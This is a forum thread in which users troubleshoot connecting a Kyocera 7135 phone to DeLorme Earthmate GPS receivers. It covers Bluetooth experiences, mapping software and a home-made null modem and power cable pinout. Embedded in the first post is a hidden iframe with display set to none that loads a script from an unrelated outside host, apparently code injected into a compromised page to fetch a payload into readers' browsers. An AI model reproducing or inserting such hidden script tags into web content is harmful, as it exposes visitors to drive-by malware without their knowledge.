I am wanting to use my Kyocera 7135 with DeLorme's new USB GPS receiver and their X-Map. The software mentions that some handhelds may be able to use blue tooth to communicate with the GPS.

Has anyone had experience with blue tooth and the 7135?

Has anyone used the 7135 with any of DeLorme's GPS. I never could get the serial version to work even after buying Delorme's special serial cable adapter and Kyocera's serial cable.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I use this Bluetooth GPS Bluetooth GPS with the Palm Bluetooth card in the 7135. Here is what I have found... My main complaint is the phone is constantly losing the GPS connection every 5 to 10 minutes... one software I use will try to re-connect. But the software I like best you have to manually re-connect the GPS which is kind of dangerous while driving.

Bluetooth Card ... it works, but it is not perfect... lots of system locks and freezes. Best advice on the Bluetooth Card, DO NOT mess around with trying to get a computer to try to use the 7135 modem through bluetooth. The phone has not been the same since.

What mapping software are you using?

I like Trip Pilot because it automatically connects to the internet (1xrtt) to pull the Route directions. You do not have to install MAPS (which takes up space and your SD card slot is used by the Bluetooth card) like most other mapping software.

The package I purchase comes with Mappopolis ...

I got the serial Earthmate to work with the 7135, but it's kinda complex if you're not an electrical person. What you have to do is make either a) your own null modem/power adapter or b) another adapter so that the Earthmate will talk to your 7135.

Here's the problem: The 7135 for one reason or another does not send a DTR signal to the Earthmate, or at least not one with a high enough voltage. What needs to happen is that you need to send at least a +4VDC signal to the DTR pin on the serial connector of the earthmate, or else the earthmate won't start talking.

Since I needed to do that, I used a 6VDC cig lighter adapter so that I could power the Earthmate in my car, also (pin 9 is +, pin 5 is -). You could probably also make a null modem adapter that hooks up the DTR pin to the +4.8 ish VDC inside the battery compartment of the Earthmate if you needed to use it outside of your car.

As to which pin is the DTR pin........I can't remember offhand. It's either pin 4 or pin 6. If I remember to check, I'll re-post so that you all know for sure.


Hope this helps!

The DTR pin on the Earthmate connector is pin 4. So here's how I have it connected. Keep in mind this is for the serial Earthmate - I don't know how it will react with the USB version.
Null modem/Power cable

Serial Earthmate
Cable Connector
2 <--> 3
3 <--> 2
5 <--> 5 and DC Ground
<--> 4 and +6VDC
<--> 9 and +6VDC


Pin 9 actually powers the Earthmate, pin 4 supplies the DTR signal.

If you want to send the DTR via the battery compartment, then make an adapter like the above, but omit pin 9 for the Earthmate and take the +6VDC from the battery compartment for the DTR. Keep in mind that since the DTR will be active all of the time, the Earthmate will keep spitting out data unless you put a switch on the DTR line going from the batt compartment to the null modem.

Or, if you want to make things easy, return the Delorme unit and get something that is NMEA 2.0 compliant........ No other GPS units besides the ones from Delorme requires a DTR signal.

One other note - I tried going to trippilot.com and it seems to be a dead link......

Thanks for the tip. Since I couldn't get my serial Earthmate to work, I gave it to my son who got my Palm IIIC when I got my Kyocera. The serial Earthmate worked perfectly with the Palm IIIC. I may see if he will trade the USB for the serial. His laptop doesn't have a serial port only USB, so he may do the trade. He won't be able to use the USB Earthmate with the Palm IIC, but if he wants to use the Earthmate with his PC only, it may be a go.

Thanks so much again!!!!